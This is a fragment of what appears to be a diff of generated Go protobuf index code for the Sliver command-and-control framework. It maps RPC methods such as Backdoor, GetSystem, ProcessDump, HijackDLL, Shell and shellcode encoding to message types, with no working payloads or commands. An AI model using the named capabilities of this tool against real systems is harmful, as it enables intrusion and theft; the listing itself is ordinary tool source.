||||
12, // 158: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 159: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
113, // 160: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
113, // 161: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
114, // 162: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 163: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 164: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 165: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
115, // 166: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
116, // 167: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 168: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
116, // 169: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
20, // 170: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 171: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
117, // 172: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
115, // 173: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
118, // 174: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 175: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
119, // 176: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
120, // 177: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
121, // 178: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
122, // 179: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 180: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
23, // 181: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
123, // 182: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
124, // 183: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
125, // 184: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
126, // 185: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
127, // 186: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
128, // 187: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
27, // 188: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 189: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
27, // 190: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
27, // 191: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
27, // 192: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
30, // 193: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
129, // 194: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
130, // 195: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
131, // 196: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
132, // 197: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
133, // 198: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
134, // 199: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
134, // 200: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
135, // 201: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
136, // 202: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
137, // 203: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
138, // 204: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
139, // 205: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
140, // 206: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
141, // 207: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
142, // 208: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
143, // 209: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
144, // 210: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
145, // 211: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
145, // 212: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
145, // 213: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
146, // 214: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
147, // 215: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
148, // 216: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
148, // 217: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
149, // 218: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
150, // 219: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
151, // 220: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
152, // 221: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
153, // 222: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 223: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
154, // 224: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
155, // 225: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
156, // 226: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
156, // 227: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
156, // 228: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
157, // 229: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
158, // 230: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
159, // 231: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
160, // 232: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
161, // 233: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
162, // 234: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
163, // 235: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
164, // 236: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
165, // 237: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
166, // 238: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
167, // 239: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
168, // 240: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
169, // 241: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
170, // 242: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
171, // 243: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
172, // 244: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
171, // 245: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
82, // 246: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 247: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
173, // 248: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
174, // 249: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
175, // 250: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
176, // 251: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
176, // 252: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
177, // 253: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
177, // 254: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
178, // 255: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
179, // 256: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
180, // 257: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
181, // 258: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
95, // 259: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 260: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
96, // 261: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
97, // 262: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 263: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
98, // 264: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
20, // 265: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
133, // [133:266] is the sub-list for method output_type
|
||||
0, // [0:133] is the sub-list for method input_type
|
||||
43, // 73: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq
|
||||
44, // 74: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq
|
||||
45, // 75: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq
|
||||
46, // 76: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
|
||||
47, // 77: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
|
||||
48, // 78: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
|
||||
49, // 79: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
|
||||
50, // 80: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
|
||||
51, // 81: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
|
||||
52, // 82: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
|
||||
53, // 83: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
|
||||
54, // 84: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
|
||||
55, // 85: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
|
||||
56, // 86: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
|
||||
57, // 87: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
|
||||
58, // 88: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
|
||||
59, // 89: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
|
||||
60, // 90: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
|
||||
61, // 91: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
|
||||
62, // 92: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
|
||||
63, // 93: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
|
||||
64, // 94: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
|
||||
0, // 95: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
|
||||
65, // 96: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
|
||||
66, // 97: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
|
||||
67, // 98: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
|
||||
68, // 99: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
|
||||
69, // 100: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
|
||||
70, // 101: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
|
||||
71, // 102: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
|
||||
72, // 103: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
|
||||
73, // 104: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
|
||||
74, // 105: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
|
||||
75, // 106: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
|
||||
76, // 107: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
|
||||
77, // 108: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
|
||||
78, // 109: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
|
||||
79, // 110: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
|
||||
80, // 111: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
|
||||
81, // 112: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
|
||||
82, // 113: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
|
||||
83, // 114: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
|
||||
84, // 115: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
|
||||
85, // 116: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
|
||||
86, // 117: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
|
||||
87, // 118: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
|
||||
88, // 119: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
|
||||
89, // 120: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
|
||||
90, // 121: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
|
||||
91, // 122: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
|
||||
92, // 123: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
|
||||
93, // 124: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
94, // 125: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
95, // 126: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
96, // 127: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
97, // 128: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
98, // 129: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
98, // 130: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
99, // 131: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
100, // 132: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
100, // 133: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
101, // 134: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 135: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
102, // 136: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
103, // 137: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 138: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
104, // 139: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 140: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
105, // 141: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
106, // 142: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 143: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 144: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
107, // 145: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 146: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 147: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
108, // 148: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 149: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
109, // 150: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
110, // 151: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
111, // 152: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
112, // 153: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
113, // 154: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
114, // 155: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
114, // 156: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
115, // 157: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
115, // 158: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 159: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 160: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 161: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 162: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
116, // 163: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
116, // 164: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
117, // 165: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 166: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 167: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 168: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
118, // 169: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
119, // 170: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 171: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
119, // 172: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
20, // 173: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 174: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
120, // 175: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
118, // 176: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
121, // 177: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 178: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
122, // 179: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
123, // 180: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
124, // 181: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
125, // 182: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 183: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
23, // 184: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
126, // 185: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
127, // 186: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
128, // 187: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
129, // 188: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
130, // 189: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
131, // 190: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
27, // 191: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 192: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
27, // 193: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
27, // 194: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
27, // 195: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
30, // 196: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
132, // 197: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
133, // 198: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
134, // 199: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
135, // 200: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
136, // 201: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
137, // 202: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
137, // 203: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
138, // 204: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
139, // 205: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
140, // 206: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
141, // 207: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
142, // 208: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
143, // 209: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
|
||||
144, // 210: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
|
||||
145, // 211: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
|
||||
146, // 212: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
147, // 213: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
148, // 214: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
149, // 215: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
150, // 216: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
151, // 217: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
151, // 218: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
151, // 219: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
152, // 220: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
153, // 221: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
154, // 222: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
154, // 223: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
155, // 224: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
156, // 225: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
157, // 226: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
158, // 227: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
159, // 228: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 229: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
160, // 230: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
161, // 231: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
162, // 232: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
162, // 233: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
162, // 234: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
163, // 235: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
164, // 236: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
165, // 237: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
166, // 238: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
167, // 239: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
168, // 240: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
169, // 241: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
170, // 242: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
171, // 243: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
172, // 244: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
173, // 245: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
174, // 246: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
175, // 247: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
176, // 248: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
177, // 249: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
178, // 250: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
177, // 251: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
85, // 252: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 253: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
179, // 254: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
180, // 255: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
181, // 256: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
182, // 257: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
182, // 258: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
183, // 259: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
183, // 260: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
184, // 261: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
185, // 262: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
186, // 263: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
187, // 264: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
98, // 265: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 266: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
99, // 267: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
100, // 268: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 269: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
101, // 270: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
20, // 271: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
136, // [136:272] is the sub-list for method output_type
|
||||
0, // [0:136] is the sub-list for method input_type
|
||||
0, // [0:0] is the sub-list for extension type_name
|
||||
0, // [0:0] is the sub-list for extension extendee
|
